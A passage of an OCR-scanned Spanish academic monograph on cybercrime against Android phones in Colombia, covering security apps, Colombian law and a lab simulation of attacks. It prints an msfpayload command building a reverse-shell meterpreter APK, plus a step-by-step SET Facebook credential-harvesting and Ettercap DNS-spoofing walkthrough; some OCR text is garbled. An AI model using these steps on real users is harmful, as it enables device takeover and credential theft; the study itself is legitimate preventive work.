BiaYYiQC&oi=fnd&pg=PT246&dg=versiones+de+android&ots=mKne5xnwr6&sig=K_-
ISVY10Bp14BANd1LnLJ8AZzpM#v=0nepage&g=versiones%20de%20android&f=false
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Donut 1.6

Eclair 20-21
Froyo 2.2
Gingerbread 2.3
Honeycomb 3.0-31-32
Ice Cream Sandwich [4.0

Jelly Bean 41-42-43
KitKat 4.4

Lollipop 5.0/5.1
Marshmallow 6.0

Nougat 70-7.1

Fuente: https://books.google.es/books?hl=es&Ir=&id=TOP-
BiaYYiQC&oi=fnd&pg=PT246&dg=versiones+de+android&ots=mKne5xnwr6&sig=K_-
ISVY10Bp14BANd1LnLI8AZzpM#v=0nepage&g=versiones%20de%20android&f=false

Podria decirse que el S.O., Android ha tenido un comportamiento comercial para los
usuarios de terminales méviles muy similar al del S.0., Windows en computadoras
y portatiles.

5.2. ANTECEDENTES

Dentro del marco de antecedentes es indispensable definir algunos proyectos,
propuestas e invenciones que se han desarrollado en el mercado mundial y que son
muy similares y coadyuvan con el presente estudio acerca del cibercrimen en
dispositivos méviles con S.O. Android, que como sustento han originado un interés
en la elaboracion e investigacion para desarrollar la presente monografia.

5.2.1. LATCH

Uno de estos proyectos de Ciberseguridad movil es, Latch®®, es el que mas se
resalta dentro del presente estudio monografico, aunque no es exclusivo del S.O.,
Android puesto que también esta disponible para plataformas I0S y Windows
Phone, inicialmente las pruebas y disefio de Latch se realizaron con este S.O. Latch
es la nueva invencion del grupo empresarial Telefonica de Espafia, por medio de su
unidad de Ciberseguridad llamada Eleven Paths la cual es dirigida por el reconocido

15 pagina oficial de Latch https://latch.elevenpaths.com/www/index.html
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Hacker, Chema Alonso y que tiene entre otros objetivos, proporcionar una
verdadera proteccion a cualquier terminal movil sin importar la plataforma.

Primero que todo, es importante mencionar que Latch es un proyecto global que
esta disefiado para proporcionar proteccion a diferentes plataformas y servicios
digitales tanto para equipos de escritorio, servidores en diferentes plataformas o
sistemas operativos, asi como para dispositivos moviles; estos servicios de
seguridad pueden ser aplicados tanto para empresas como para usuarios
independientes. Latch funciona de manera similar para cualquier servicio, es decir
su operacién consiste, a groso modo en, generar un cerrojo digital para cualquier
servicio que requiera de usuario y contrasefa con el fin de impedir que un tercero
que no sea el usuario original del servicio descrito, pueda ingresar de manera
fraudulenta a la aplicacion y aparte informarle al usuario que alguien esta tratando
de ingresar a su aplicacion.

Ahora, Latch para dispositivos moviles, es una aplicacion totalmente gratuita que
protege las cuentas y servicios que estan conectados a internet, entre otros datos
de un terminal movil cuando no se estén utilizando; para utilizar Latch es muy
sencillo'®, el primer paso es registrarse con una cuenta de correo electrénico
cualquiera, directamente en la pagina oficial de Latch esto con el propdsito de poder
ingresar a la aplicacién con una cuenta de correo reconocida y verificada por Latch.

El segundo paso es descargar la aplicacion Latch, como el presente documento
esta orientado a terminales con S.O. Android, se debe descargar directamente del
Play Store, verificando que sea una aplicacion distribuida directamente por
Telefonica Digital, una vez descargada la aplicacion en el Smartphone, se abre, se
ingresan los datos referente a la cuenta de correo registrada en la pagina de Latch,
y se empareja la terminal movil con Latch; este proceso es recomendable hacerlo
con una Laptop o un Desktop y el dispositivo movil para ingresar el cédigo que
genera la aplicacién para cada servicio que se desea Latchear, Facebook, Twitter,
YouTube, etc.

Por ultimo y una vez emparejado Latch con los servicios a proteger, se configura
desde la aplicacion, el tipo de proteccion que se desea aplicar en el terminal movil,

16 Coémo utilizar Latch https:/latch.elevenpaths.com/www/how.html
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es decir, si se desea un blogueo permanente o por horarios, esto se hace dentro de
la aplicacion.

5.2.2. APLICACION TRUECALLER

No solo la seguridad debe pensarse hacia el uso de datos moviles, es decir cuando
se unas un Smartphone como terminal de trabajo, también es importante pensar en
la seguridad de la comunicacion en si; como es sabido un Smartphone es un
dispositivo que permite la comunicacion entre dos o mas individuos, de hecho es un
teléfono; pues precisamente una de las aplicaciones que desde hace tiempo motivo
la creacion de este estudio investigativo fue el proyecto o aplicacion TrueCaller que
da proteccion y seguridad a las comunicaciones telefonicas de un Smartphone.

TrueCaller es una aplicacion que utiliza un dialer que integra servicios de
identificacion de llamadas, TrueCaller hace referencia a la herramienta que
posibilita, por ejemplo, realizar y recibir llamadas a través del teléfono celular y que
integra, ademas, la funcionalidad de bloqueo para aquellas que no son deseadas
por el usuario.

Las ventajas de TrueCaller son:

e TrueCaller incorpora en su servicio el bloqueo de llamadas no deseadas.

e TrueCaller cuenta con una herramienta de identificacion de numeros
desconocidos, bien sea en la bandeja de entrada de mensajes de texto o en
el historial de llamadas.

e TrueCaller integra los medios sociales para conservar la agenda del usuario
actualizada con datos de interés como el cumpleafios o fotografia.

e TrueCaller esta disponible en las tiendas que vienen con los dispositivos de
acuerdo al sistema operativo. Es decir, es compatible con dispositivos
Android, iOS, Tizen, BlackBerry 10, Firefox OS, Windows Phone y muchos
mas.

e Con TrueCaller también es posible bloquear mensajes de textos, permitiendo
gue el usuario s6lo conecte con aquellas personas que de verdad le importan.

e TrueCaller posee un tema minimalista.

e Al igual que otros servicios, también incluye la opcion para compartir
la ubicacioén de la persona con amigos, familiares y conocidos.

e TrueCaller cuenta con los populares Emojis.
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e TrueCaller bloquea también contenido considerado como spam o
telemarketing, haciendo que el proceso de comunicacion sea eficiente y
seguro.

Con este concepto ahora tenemos una mayor vision de las tendencias del Marketing
Digital y de las nuevas tecnologias actuales.

5.3. MARCO LEGAL

Hablar del marco legal para delitos informaticos dentro de la teméatica del presente
proyecto es hablar de la normatividad legal y penal en materia informatica que hay
en Colombia, es decir la ley 1273 la cual parte del hecho que esta ley protege el
bien juridico tutelado de la informacién y el dato posicionando al pais en el contexto
juridico internacional toda vez que se encontraba en mora por hacerlo; es por ello
que surge paralelamente al desarrollo tecnoldgico informatico y al continuo auge de
las innovadoras tendencias delictivas de elaboracion de fraudes y otros delitos que
con frecuencia van mas rapido que los cddigos penales. De una u otra forma la
comision de un delito informatico afecta a un mayor nimero de ciudadanos frente a
un fenbmeno que va en alza por lo cual se impone la necesidad de prevencion y
proteccion que son deber de todos los participantes en esta problematica es decir
el Estado, los entes de control, Las empresas y la ciudadania en general.

Es importante indicar que con la entrada en vigencia de la ley 1273 de 2009 y
siguiendo los propositos de ICITAP (Internacional Criminal Investigative Assitance
Program) el pais entra a los mas altos estdndares para contrarrestar el delito
informatico; esto conlleva a evitar tipificaciones erradas como se hacia
antiguamente con la publicacién indebida e ilegal de datos personales en redes
sociales, conexidn o acceso a redes sin autorizacion, uso de software malicioso etc.
Todo lo anterior para decir que con esta ley se preservan integralmente los sistemas
que utilicen las tecnologias de la informacion y las telecomunicaciones.

Se podra clasificar como delitos informéaticos mas comunes en Colombia los
siguientes:

e Art. 269 A. Acceso abusivo a un sistema informatico

e Art. 269 B. Obstaculizacién ilegitima de sistema informatico o red de

telecomunicaciones

e Art. 269 C. Interceptacion de datos informéaticos

e Art. 269 D. Dafio informatico

e Art. 269 E. Uso de Software Malicioso
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Art. 269 F.  Violacion de datos personales

Art. 269 G. Suplantacion de sitios web para capturar datos personales
Art. 269 1. Hurtos por medios informaticos y semejantes

Art. 269 J.  Transferencia no consentida de activos

Esta ley permite proteger y blindar de manera tecnoldgica a las corporaciones y
empresas que manejan informacion importante de cualquier tipo, obviamente que
dentro del flujo de la informacion y activos se manifiesta de manera magnética; es
por ello que se establecieron los tipos penales para atacar estas conductas de tipo
cibercriminal.

5.4. MARCO CONCEPTUAL
A continuacion, se define el marco conceptual:

Sistema Operativo: Es el software principal o conjunto de programas de un
sistema informéatico que gestiona los recursos de hardware y provee servicios
a los programas de aplicacion de software, ejecutandose en modo
privilegiado respecto de los restantes (aunque puede que parte de él se
ejecute en espacio de usuario).'’

Android: Android es un sistema operativo inicialmente pensado para
teléfonos mdviles, al igual que iI0OS, Symbian y Blackberry OS. Lo que lo hace
diferente es que esta basado en Linux, un nucleo de sistema operativo libre,
gratuito y multiplataforma. El sistema permite programar aplicaciones en una
variacion de Java llamada Dalvik. El sistema operativo proporciona todas las
interfaces necesarias para desarrollar aplicaciones que accedan a las
funciones del teléfono (como el GPS, las llamadas, la agenda, etc.) de una
forma muy sencilla en un lenguaje de programacién muy conocido como es
Java.8

Cibercrimen: Cibercrimen lo podriamos dividir en dos palabras, Ciber y
Crimen, segun el diccionario de la Real Academia Espafiola de la lengua,
ciber se define como: “cibernético, ciberespacio, cibernauta.”; segun el sitio
definiciones.org, ciber se define como: “Prefijo utilizado ampliamente en la
comunidad Internet para denominar conceptos relacionados con las redes
(cibercultura, ciberespacio, cibernauta, etc.). Su origen es la palabra griega
kibernao, que significa pilotar una nave.” Ahora segun el diccionario de la

17 Tomado de http://elvex.ugr.es/decsai/JAVA/pdf/1A-intro.pdf
18 Tomado de https://www.xatakandroid.com/sistema-operativo/que-es-android
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Real Academia Espafiola de la lengua, crimen se define como: “Delito grave”,
también Accién indebida o reprensible.®

e Forense: La palabra forense dispone de un uso muy recurrente en el ambito
del derecho dado que de ese modo se denomina al profesional médico que
se encuentra trabajando dentro de un juzgado de instruccidén y que entonces
dentro de él se ocupa especialmente de intervenir en los casos y situaciones
que ese juzgado investiga y que requieren por su naturaleza de la
certificacién oficial de un médico. Por ejemplo, el médico forense es el
profesional que por excelencia determinara las causas y el horario de muerte
de un individuo. Gracias a su formacion profesional podra identificar en la
victima determinadas caracteristicas que lo haran dilucidar esos datos.?°

19 Tomado de http://www.marcialpons.es/static/pdf/9788415664185.pdf
20 Tomado de http://www.urru.org/papers/Rrfraude/InformaticaForense_OL_HA_RL.pdf
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6. DISENO METODOLOGICO

El presente estudio monografico pretende demostrar y evidenciar cuales fueron los
factores han contribuido al auge de la cibercriminalidad en el pais, y mas
especificamente en el sector de la tecnologia movil de Smartphones con sistema
operativo Android; para poder desarrollar el presente estudio e investigacion se
consultaron diversas fuentes académicas, también fuentes abiertas y se consultd
con funcionarios judiciales que trabajan en el area forense de algunas entidades
estatales quienes aportan informacion de la realidad que es ampliamente conocida
en el pais a cual es una falta de cultura hacia el cuidado de la informacion digital.

Para ello se realizé un estudio basico con algunas pruebas de tipo técnico en
ambientes virtuales y simulados que permiten enfocar la presente investigacion
monografica hacia la publicacion de un nuevo conocimiento basado en la
prevencion, asi como ampliar aquellos criterios preconcebidos que hay en la
sociedad acerca del manejo y seguridad de la informacion que se almacena en un
Smartphone con sistema operativo Android.

En cuanto al tipo de estudio, este tuvo como criterio o fundamente el bibliografico,
ya que estuvo orientado hacia la busqueda, organizacién y analisis critico de
literatura cientifica en el campo de la Ciberseguridad; del mismo modo se realizé un
estudio de tipo experimental al poder descubrir y plasmar aquellos factores que son
evidentes en el fendmeno del aumento de la cibercriminalidad que cada vez
aumenta en Colombia.

En cuento a la poblacion muestra objeto del presente estudio, al ser un estudio
monogréafico donde se hace una simulacion, no existe como tal, ya que la poblacién
estudio es cualquier persona que utilice un Smartphone con sistema operativo
Android y asi explicar lo que podria ocurrirle si no toma las recomendaciones o
precauciones respecto de aquellas situaciones que podrian poner en riesgo la
seguridad de la informacion que viaja o se almacena en su terminal mévil.
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7. RESULTADOS Y DISCUSION

7.1. METODOLOGIAS Y TECNICAS UTILIZADAS EN ATAQUES A
DISPOSITIVOS MOVILES ANDROID

El auge de la tecnologia ha hecho que la inseguridad llegue hasta los linderos de
los mismos avances tecnoldgicos en dispositivos moviles, razon por la cual se hace
imperioso inicialmente conocer cuales son las técnicas y metodologias utilizadas
por parte de los cibercriminales para generar aplicaciones maliciosas que se
aprovechan de la inseguridad que la gran mayoria de dispositivos moviles Android
presentan y asi lograr éxito en su intencion de causar un dafio a las usuarios para
poder lucrarse del mismo, que es lo que los caracteriza.

Pero de qué manera estos Ciberdelincuentes realizan estos ataques a los sistemas
operativos Android; algunos de los virus o software malicioso que envian estos
Ciberdelincuentes, una vez se depositan en la carpeta raiz del Smartphone,
comienzan a aduefiarse del dispositivo y a desatar publicidad con anuncios no
deseados por parte del usuario, mientras, van absorbiendo informacién confidencial
y/o privada del usuario, como fotos, videos, documentos cuentas de correo y demas
informacion que un usuario tenga dentro del dispositivo al punto que el
Ciberdelincuente obtiene un gran volumen de informacion la cual por lo general es
vendida a terceros con fines delincuenciales pero el aparato por la operacion tan
fuerte del virus y la cantidad excesiva de publicidad por lo general queda inservible
o0 para ser reparado?..

En este orden de ideas a continuacién se describen las metodologias mas comunes
que son utilizadas para realizar ataques con software malicioso a dispositivos
moviles Android:

e Ataques por medio de caballos troyanos: Este ataque muy comun se apoya
por medio de las herramientas de explotacion Metasploit que con comandos
como Meterpreter que es un conjunto de herramientas per se, con la cual se
logra hacer una penetracion digital con un codigo a modo de backdoor o en
espafol de puerta trasera, es decir que sin que el usuario del dispositivo se
dé cuenta se le ha hecho una insercion de codigo malicioso el cual trabaja
en segundo plano accediendo a toda la informacion.

2! Articulo de referencia de http://www.eltiempo.com/archivo/documento/CMS-16425666
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Ahora este procedimiento descrito anteriormente se logra mediante la creacion de
un archivo de tipo APK por lo general mediante la ejecucion de una linea de codigo
como, por ejemplo:

#sudo msfpayload android/meterpreter/reverse_tcp LHOST=192.168.x.x
LPORT=4444 R > /root/Desktop/juegos.apk

Con la cual se crea un archivo malicioso denominado juegos.apk que sera el archivo
infectado que se enviara posteriormente a un dispositivo Android; este tipo de
ataque se vera simulado y explicado con mayor profundad en el item 8 del presente
documento, por lo pronto se veran las generalidades y métodos que pueden ser
usados con ésta categoria de infeccion.

Entonces este tipo de infeccion puede provocarse por medio de dos vias, la primera
de ellas es generando un cédigo de tipo QR, utilizados para redireccionar y acceder
de manera rapida a una pagina web de un fabricante o acceder a la instalacion de
una aplicacién.

Imagen No. 1. Apariencia gréafica de un cadigo de tipo QR.

]

Fuente: http://masquevinilo.com/vinilos-decorativos/208-vinilo-decorativo-codigo-bidi-gr.html

La segunda via para trasmitir un troyano infeccioso para dispositivos mdviles
Android de tipo APK, es creando una pagina web falsa de tipo Phishing o de
suplantacién de identidad.

Para el caso de la generacion de un cédigo QR, los Ciberdelincuentes suben el
archivo de tipo APK a un servidor cualquiera para que desde alli se pueda generar
la aplicacion y para la segunda via es crear una pagina falsa, como se muestra a
continuacion.

e Ataques por medio de Spoofing: El presente es un método muy comun
utilizado para desarrollar ataques a dispositivos moviles y busca mediante la
utilizacion de ataque de ingenieria social conocer los datos de usuario y
contrasefia de una red social como Facebook, por medio de su aplicacion.
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Con la herramienta de Kali Linux social engineering setoolkit la cual se ubica en la
ruta que muestra la figura siguiente se observa el desarrollo de cémo se realiza este
ataque:

Imagen No. 2. Aplicacion de la herramienta Social Engineering de Kali Linux para la configuracion de la prueba spoofing.

A Kall-Linux Jmacias [Corriendo) - Oracle VM VirtualBox - oiEN

Archivo  Maquina _ Ver Entrada  Dispositivos  Ayuda

Aplicaciones ~  Lugares
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nando
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Soclal Engineering Tools

14 - Se los del Sistema

Usual applications

Vista de actividade

| @ o @

Fuente: El autor.
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Una vez abierta la aplicacién se configuran los pardmetros necesarios para realizar
el ataque, para ello se selecciona la opcion 1 que determina que es un ataque de
ingenieria social, como se muestra en la siguiente imagen:

Imagen No. 3. Parametros de configuracion para ataque de ingenieria social.
o) Kali-Linux Jmacias (Corriendo) - Oracle VM VirtualBox - o iEm

Archivo  Maquina  Ver  Entrada  Dig Ayuda

Aplicacione Lugares v ()

Terminal
Archivo  Editar  Ver Buscar Terminal Ayuda
fluxiol it 1

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https www . trustedsec.com

https://github.com/trustedsec/ptt

| Select from the menu:

Social-Engineering Attacks
Penetration Testing (Fast-Track)
Third Party Modules

Update thel Social-Engineer Toolkit
Update SET configuration
Help, Credits, and About

99) Exit the Social-Engineer Toolkit

- 18

W McAfee Data Loss Prevention

4 Hay 0vanios uon an  canaola da Mkl O

Mostrar historial de sventon

Fuente: El autor.
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Posteriormente se selecciona la opcidn 2 de atague a un sitio web como se muestra
en la figura:

Imagen No. 4. Parametros de configuracion para ataque de ingenieria social

Terminal @ ® 0

Archivo Editar Ver Buscar Terminal Ayuda

PenTes

sit https://github‘com/frustedsec/ptf t

Select from the menu:

Spear-Phishing Attack Vectors
Website Attack Vectors
Infectious Media Generator
Create a Payload and Listener
Mass Mailer Attack
Arduino-Based Attack Vector
Wireless Access Point Attack Vector
QRCode Generator Attack Vector
PowershellIAttack Vectors

SMS Spoofing Attack Vector
Third Party Modules

Return back to the main menu.

Fuente: El autor.

Luego la opcion de método de ataque que para este caso es un meétodo de
obtencion de credenciales, opcion 3, como se muestra en la figura:

Imagen No. 5. Parametros de configuracion para ataque de ingenieria social

T Terminal e ® O
Archivo Editar Ver Buscar Terminal Ayuda

ate however when clicked a window pops up then is replaced with the malicious 1i
nk. You can edit the link replacement settings in the set config if its too slow|
/fast.

he Multi-Attack method will add a combination of attacks through the web attack
menu. For example you can utilize the Java Applet, Metasploit Browser, Credenti
al Harvester/Tabnabbing all at once to see which is successful.

he HTA Attack method will allow you to clone a site and perform powershell inje
ction through HTA files which can be used for Windows-based powershell exploitat
ion through the browser.

1) Java Applet Attack Method

2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method

5) Web Jacking Attack Method

6) Multi-Attack Web Method

7) Full Screen Attack Method

8) HTA Attack Method

99) Return to Main Menu

>3

Fuente: El autor.
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Es necesario conocer la ip de la maquina que hace los ataques, en este caso la Ip
de Kali Linux para establecerla en los pardmetros de la aplicacion Social
Engineering de Kali Linux, dentro de la opcion Site Cloner que se mostrara mas
adelante, entonces para ello dentro de Kali Linux se abre una terminal y se ejecuta
el comando ifconfig como se muestra en la figura:

Imagen No. 6. Obtencién de Ip de la maquina de ataques

ones - Lugares v [ Terminal ~

root@JMaclas: ~

Archivo Editar Ver Buscar Terminal Ayuda
# ifconfig

st 192.168.0.255
d 0x20<link>

dropped @ overrun carrier 0 collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.6.0.1 netmask 255.0.0.0
ineté ::1 prefixlen 128 scopeid 0x10<host>
(Local Loopback)
256 (1.2 KiB)
s 0 frame ©
6 ( [$1:))
overruns @ carrier 0 collisions @

L FleE NI Iv SO Y )
Fuente: El autor.
Seguidamente se selecciona el parametro de clonacién de un sitio web, opcion 2,

como se muestra en la siguiente figura y se establece la Ip de Kali Linux (se aclara
que la Ip que se coloco es la correspondiente a la 192.168.0.28 y no la Ip 10.0.2.15)
para que la maquina atacada sea re direccionada a la maquina de ataques por
medio de la URL que se quiere clonar, que para este caso es Facebook:
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Imagen No. 7. Parametros de configuracién para ataque de ingenieria social.

Terminal e e 0‘

Archivo Editar Ver Buscar Terminal Ayuda

and allow you to utilize the attack vectors within the completely
same web applicatifn you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

1) Web Templates
2) Site Cloner
3) Custom Import

99) Return to Webattack Menu

>2
| Credentlal harvester will allow you to utilize the clone capabilities within
SET
[-] to harvest credentials or parameters from a website as well as place them in
to a report
[-] This option is used for what IP the server will POST to.
[- ] If you're using an external IP, use your external IP for this

> IP address for the POST back in Harvester/Tabnabbing:10.0.2.15
[-] SET supports both HTTP and HTTPS

[-] Example: http://www.thisisafakesite.com
- > Enter the url to clone:| Qe VAT IR o= e lo L oRaell

Fuente: El autor.

12

Con los parametros anteriormente indicados el sitio web queda clonado y la

aplicacion Social Engineering, arroja el mensaje de clonacion exitosa como se
muestra en la figura:

Imagen No. 8. Parametros de configuracién para ataque de ingenieria social.

Terminal e ® 0

Archivo Editar Ver Buscar Terminal Ayuda
L=] CXampiLe: NuLp://WWw. LNILS1SdlidKeslLie. com
- > Enter the url to clone:https://www.facebook.com

[*] Cloning the website: https://login.facebook.com/login.php
[*] This could take a little bit...

free‘to customize post.php in the /var/www/html directory
[*] ALl filﬁf have been copied to /var/www/html
DW

[*] SET is listening for incoming credentials. You can control-c out of this
and completely exit SET at anytime and still keep the attack going.

[*] ALl files are located under the Apache web root directory: /var/www/html

[*] ALl fields captures will be displayed below.

[Credential Harvester is now listening below...]

Fuente: El autor.

Ahora se procede a hacer uso de la aplicacion o herramienta ETTERCAP de Kali
Linux para la ejecucion del ataque, para ello se procede a configurar el archivo
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etter.conf cambiando los valores 65534 que aparecen en este archivo a cero (0)
guardando estos cambios tal y como se muestra en la figura siguiente. La ubicacién
de este archivo se encuentra dentro de la ruta Equipo/ettercap/ettercap.conf:

Imagen No. 9. Configuracion del archivo etter.conf.

= Kali-Linux Jmaciaz [Corends] - Oracle VM VirualBox - o lEl
Archivo  Maquina Ve Entrada | Dispositivos | Ayuda
wiones ~  Lugares = [§] Editor de textos -
| aore - || || " "‘"""'“':" | Guarder || =| @ @ @
» *
ﬁ ettercap -- etter.conf -- configuration Tile z
z Copyright (C) ALoR & NaGA ;‘t
# This program is free software; you can redistribute it and/or modify #
# it under the terms of the GNU General Public License as published by "
# the Fres Software Foundation; either version 2 of the License, or #
# (at your option) any later version #
i W
# #
[privs]
ac_uid = of # nobody is the default
ec_gid = 65534 # nobody 1s the default
[mitm]
arp_storm_delay = 10 # milliseconds
arp_poison_smart = 0 # boolean
arp_poison warm up = 1 # saconds
arp_poison_delay = 10 # seconds
arp_poison_icmp = 1 # boolean
arp poison reply = 1 # boolean
arp_poisen request = 0 # boolean
arp poison equal mac = 1 # boolean
dhcp_lease_time = 1860 # saconds
port_steal_delay = 10 # seconds
port steal send delay = 2000 # microseconds
ndp_poison warm up = 1 # saconds
ndp_poison_delay = 5 # seconds
ndp_poison_send delay = 1500 # microseconds
ndp poison icmp = 1 # boolean -
ndp poisen equal mac = 1 # boolean W Mcafes Data Loss Prevention
iemp6_probe delay = 3 # seconds

| Realizande Captura da Fantalia: ikali-inu jmaci

comanco] - oracis vm virualbox (irtualbox mxe)
Trannartinanel =

Matlab +  Anchura del

Racuarda dar cumplimianic a ias pollicas da se
Solicitar omisién de DLP

Fuente: El autor.
Posteriormente se procede a configurar el archivo etter.dns que se encuentra en la

misma ruta indicada anteriormente cambiando las URL de Microsoft que estan por
defecto en este archivo por las URL de Facebook y la Ip que aparecer por defecto
también se cambia por la Ip de la maquina Kali Linux es decir la Ip 10.0.2.15 y se
guarda, tal y como se muestra en la figura.

Imagen No. 10. Configuracion del archivo etter.dns.

| Kali-Linux Imacias [Carrienda] - Oracle VM VirtualBox - o lEl
Archive Maguina  Ver Entrada  Dispositives  Ayuda

Aplicaciones = Lugares = () Editor de textos = & -

| wone <[] T [ (=] @ @ ®

# microsoft sucks ;)
# redirect it to www.linux.org

|+ racebook. com 18.2.15
_facebook.com PTR 10.0.2.15 # Wildcards in PTR are not allowed

# no one out there can have our domains.
#

www.alor.org A 127.0.0.1
www.naga.org A 127.0.0.1
WwW.Naga.org  AAAA 2001:dbB::2

# dual stack enabled hosts does not make life easy
# force them back to single stack

www.ietf.org A 127.0.0.1
www.letT.org  AAAA ::

www.example.org A 0.0.0.0
www . example.org AAAA ::]

# one day we will have our ettercap.org domain
#

www . ettarcap.arg A 127.0.0.1

www.ettercap-project.org A 127.0.0.1 & McAfes Data Loss Prevention
ettercap.sourceforge.net A 23.235.43.133

www.ettarcap.arg PTR ::1 italli Kall-linu fmac

Matlab = Anchura del
Pacuarda dar eumplimiants @ [as polilicas de 56
Solicitar omisian de DLP

Fuente: El autor.
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Se abre la aplicacion Ettercap la cual se localiza tal y como se muestra en la figura
siguiente y se despliega la opcion unified sniffing del menu sniff para iniciar pruebas
de Sniff en la maquina Kali, esto se muestra:

Imagen No. 11.Ruta para la ejecucion de la aplicacién Ettercap.

[ Kali-Linux Jmacias [Corriendo] - Oracle VM VirtualBox - o EN
Archive Méquina Ver Entrada  Dispositivos  Ayuda

Aplicaclones v Lugares v

driftnet

copllacién de Informa
2 - Analisis de Vulnerabilidad.
3 - Aplicaciones Web ettercap-g
I 1 L de Datos

hamster

macchanger
5 - Ataque RCChaN

Ingenieria Reversa mitmproxy

3 - Herramientas de Explotacién
i-'i netsniff-ng

Husmeando/En; ando

Manteniende responder

Forensis
rensia wireshark

2 - Herramientas d

Vista de actividades

@ o o 1 (G (&) cTRL DenecHA

Fuente: El autor.

Imagen No. 12. Parametros de inicio para escaneo de IP.
ettercap 0.8.2 (- IO < )

File Sniff Options Info

Unified sniffing... trl+U

Bridged sniffing... Ctri+B

Set pcap filter... Ctri+P

Fuente: El autor.
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Se selecciona la opcion scan for host del menu host para escaneo de
Ip’s, tal y como se muestra en la figura siguiente y se enlistan mediante la opcion
que se muestra en la figura 14:

Imagen No. 13. Pardmetros de inicio para escaneo de IP.

ettercap 0.8.2 [- O -]

Start Targets Hosts View Mitm Filters Logging Plugins Info
Hosts list Ctrl+H

Enable IPv6 scan

Scan for hosts CtrigS

Load from file... N
Save to file... K !

- A

Lttercap

20388 mac vendor fingerprint .
1766 tcp OS fingerprint

2182 known services

Lua: no scripts were specified, not starting up!

Starting Unified sniffing... I

Fuente: El autor.

Imagen No. 14. Pardmetros de inicio para escaneo de IP.

ettercap 0.8.2 [- O <]
Start Targets Hosts View Mitm Filters Logging Plugins Info

Hosts list Ctrl+H"a

Enable IPvb scan

Scan for hosts Cirl+S
Load from file... B
‘/ Save to file... ",*

Lua: no scripts were specified, not starting up! =
Starting Unified sniffing...

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
3 hosts added to the hosts list...

Fuente: El autor.
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Como se observa en la siguiente figura fueron localizadas 5 direcciones Ip las cuales
corresponden entre otras, a la maquina de ataques, a la maquina victima y a la
magquina fisica donde se esté trabajando.

Imagen No. 15. Escaneo de puertos e IP’s encontradas.

ettercap 0.8.2
Start Targets Hosts View Mitm Filters Logging Plugins Info
Host List x
P Address  MAC Address Description

_ 192.168.0.1 30:F7:72:91:4A:46
192.168.0.12 98:E0:D9:86:45:01
192.168.0.17 98:F1:70:95:23:21
192.168.0.18 90:E6:BA:A4:FLEA

192.168.0.29 08:00:27:FE:75:41

Delete Host Add to Target 1 Add to Target 2

Randomizing 255 hosts for scanning
[Scanning the whole netmask for 255 hosts...
4 hosts added to the hosts list.

[Host 192.168.0.1 added to TARGET1

Host 192.168.0.29 added to TARGET2

BOFF = EEH s

Fuente: El autor.

A continuacion, y siguiendo los mismos pasos anteriormente enunciados se procede
a realizar la practica en otra maquina fisica con otras IP diferentes, lo anterior dado
qgue para efectos practicos de la presente actividad no fue posible continuar la
practica en el PC con las IP anteriormente mostradas en las graficas, pero se obvian
los pasos anteriores toda vez que son los mismos y solo cambian las IP.

Entonces en este sentido primero se procede a conocer la IP atacante que es la IP
de la maquina virtual con Kali Linux y posteriormente la IP de la maquina fisica que
para este caso es la IP de un portétil Mac, es decir para corroborar que las IP que
se escanearon con Ettercap son correctas se muestran las figuras que siguen las
cuales corresponden a las IP que muestra el escaneo de ettercap:
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Imagen No. 16. Ip de la maquina fisica.

0@ 7%y josejairmacias — -bash — B0x24

Last login: Mon Mov 14 16:48:51 on ttys00@

MacBook-Air-de-Jose:~ josejairmacias$ ifconfig

lo@: flags=B0489<UP,LOOPBACK, RUNNING ,MULTICAST> mtu 16384
options=1203<RXCSUM, TXCSUM, TXSTATUS, SW_TIMESTAMP=
inet 127.8.8.1 netmask BxffoRRBR8
inetf ::1 prefixlen 128
ineth feB@::1%1o@ prefixlen 64 scopeid Bxl
ndé options=201<PERFORMNUD, DAD=

gif®: flags=B01@<POINTOPOINT,MULTICAST> mtu 1280

stf@: flags=0<> mtu 1280

end: flags=BBE3<UP,BROADCAST, SMART, RUNNIMNG, SIMPLEX ,MULTICAST> mtu 1508
ether 9B:e@:d9:86:45:91
ineth TeB@::23:064d:59c2:8dPP%en® prefixlen 64 secured scopeid Bx4
inet 192.168.8.12 netmask @xffffffe@ broadcast 1592.168.8.255
ndf options=281=PERFORMNLUD, DAD=
media: autoselect
status: active

enl: flags=963<UP,BROADCAST,SMART,RUNNING, PROMISC, SIMPLEX= mtu 1588
options=68<T504,TS06=>
ether 9a2:08:01:79:3e:d@
media: autoselect <full-duplex=
status: inactive

bridged: flags=BBG63<UP,BROADCAST,SMART,RUNMING,SIMPLEX,MULTICAST> mtu 1588
options=63<RXCSUM,TXCSUM, TS04, TS06>

Fuente: El autor.

Seguidamente la IP de la maquina virtual que va hacer las veces de victima, para
este caso se trabajé con una maquina virtual con SO Centos 7 ambiente gréfico:

Imagen No. 17. Ip de la maquina victima.

% Aplicaciones ¥ Lugares = ‘mrminal' esa > lnl9:32 [ 4 [H ~

jmacias@localhost:~ = ] ]

Archivo Editar Ver Buscar Terminal Ayuda
[imacias@loca st ~]% lfconfig
3 5 . AWADCAST ,BRUNNING , MULTICAST= mtu 1588
gl netmask 255.255.255.0 broadcast 192.168,0.255
2T itata /541 prafixlaen &4 scopaeld OxZ20<1Link=
(27 :fer75:41 txquewalen 1060 (Ethernat)
42 bytes 4433 (4.3 K1B)
droppad 0 overruns 8 frame 0
57 bytes 7105 (8.9 KiE)
¥ arrors @ dropped O overruns 8 carrier @ collisions @

inett fesl
athar 080

Lo: flags=/3=UP ,LOOPBACK  RUNMING= mtiu 65536
inet 127.0.0.1 netmask 255.0,0.0
ilnets @l praftixlen 128 scopeld Ox]lO0=host=
loop txgueuslen @ (Local Loopback)
RX packets 200 bytes 17384 (16.9 KiB)
RY arrors @ droppad 8 overruns @ frame 0
K packets 200 bytes 17384 (16.9 KiB)
¥ arrors @ droppad 0 overruns @ carrler @ collisions @

virbro: flags=4099=UF ,BROADCAST ,MULTICAST= mtu 1500

inet 192,168.122.1 netmask 255.255.255.0 broadcast 192.168,122.255
athar 00:00:00:00:00:00 txquaualen 0 (Etharnat)

RX packets G (0.0 B)

RX arror pad O ovaerruns @ frame ©

TX packats G (0.0 B)

X arrcrs @ dropped 0 overruns @ carrier @ collisions O

| [EM| jmacias@locathost:~ 1/4

Fuente: El autor.

